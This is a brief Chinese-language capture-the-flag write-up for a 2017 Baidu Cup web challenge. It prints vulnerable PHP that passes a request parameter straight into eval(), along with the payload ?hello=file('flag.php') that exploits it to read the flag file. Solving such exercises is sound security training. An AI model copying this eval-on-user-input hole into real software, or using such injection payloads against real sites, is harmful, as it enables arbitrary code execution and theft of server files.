百度杯”CTF比赛 2017 二月场，Web：爆破-2

题目内容：

flag不在变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

?hello=file('flag.php')

file 命令直接可以读出来

file_get_contents 也行，但在源码里